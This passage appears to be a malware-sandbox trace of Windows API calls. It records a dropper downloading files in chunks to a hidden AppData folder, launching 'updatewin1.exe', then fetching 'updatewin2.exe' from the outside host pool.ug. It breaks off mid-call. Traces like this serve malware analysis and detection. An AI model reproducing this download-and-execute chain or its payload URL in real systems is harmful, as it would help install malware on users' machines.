[0089.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.136] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.137] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.138] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.138] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.211] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.361] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.433] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.433] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.496] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.571] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.572] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.806] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.807] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.807] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.916] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0090.992] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0090.993] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.140] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.140] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.218] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.219] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.290] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.290] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.361] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.441] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.441] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.445] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.526] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.526] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.592] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.661] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.662] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.747] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.748] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.887] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.887] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.891] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.892] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0091.970] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0091.971] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0092.055] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0092.055] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0092.212] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0092.213] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0092.292] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0092.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0xa00) returned 1 [0092.292] WriteFile (in: hFile=0x5e8, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0xa00, lpOverlapped=0x0) returned 1 [0092.292] CloseHandle (hObject=0x5e8) returned 1 [0092.296] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0092.301] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0092.311] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0093.305] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x2fd16b8 | out: hHeap=0x680000) returned 1 [0093.305] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x3050498 | out: hHeap=0x680000) returned 1 [0093.305] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b1290 | out: hHeap=0x680000) returned 1 [0093.305] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0093.305] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x305f638 [0093.305] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x860) returned 0x30b1290 [0093.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305f638, cbMultiByte=-1, lpWideCharStr=0x30b1290, cchWideChar=1072 | out: lpWideCharStr="http://pool.ug/tesptc/penelop/updatewin2.exe") returned 45 [0093.305] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x870) returned 0x30d61c0 [0093.305] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b1290 | out: hHeap=0x680000) returned 1 [0093.305] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305f638 | out: hHeap=0x680000) returned 1 [0093.305] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x870) returned 0x30b1290 [0093.305] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x830) returned 0x30e2270 [0093.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://pool.ug/tesptc/penelop/updatewin2.exe", cchWideChar=-1, lpMultiByteStr=0x30e2270, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://pool.ug/tesptc/penelop/updatewin2.exe", lpUsedDefaultChar=0x0) returned 45 [0093.305] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x840) returned 0x30b5f60 [0093.305] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30e2270 | out: hHeap=0x680000) returned 1 [0093.306] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b1290 | out: hHeap=0x680000) returned 1 [0093.306] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://pool.ug/tesptc/penelop/updatewin2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0093.550] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b5f60 | out: hHeap=0x680000) returned 1 [0093.550] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x99ed6d0, lpdwBufferLength=0x99ed710, lpdwIndex=0x0 | out: lpBuffer=0x99ed6d0*, lpdwBufferLength=0x99ed710*=0x4, lpdwIndex=0x0) returned 1 [0093.550] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x305f488 [0093.550] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x30ccf48 [0093.550] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x305f488 | out: hHeap=0x680000) returned 1 [0093.550] lstrcpyA (in: lpString1=0x30b0208, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0" [0093.550] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0", pMore="updatewin2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin2.exe") returned 1 [0093.550] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x60) returned 0x30d26d8 [0093.550] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0093.552] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0093.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0093.627] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.628] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0093.704] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0093.776] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0093.781] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0093.843] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.843] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0093.848] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0093.848] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0094.073] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0094.073] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0094.137] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0094.137] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0094.138] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0094.138] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0095.175] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0095.175] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0095.252] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0095.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0095.780] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0095.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0097.000] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ed6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ed778*, lpNumberOfBytesWritten=0x99ed6dc*=0x2800, lpOverlapped=0x0) returned 1 [0097.000] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ed778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ed6d8 | out: lpBuffer=0x99ed778*, lpdwNumberOfBytesRead=0x99ed6d8*=0x2800) returned 1 [0097.217] WriteFile (in: hFile=0x694, lpBuffer=0x99ed778*, nNumberOfBytesToWrite=0x2800, 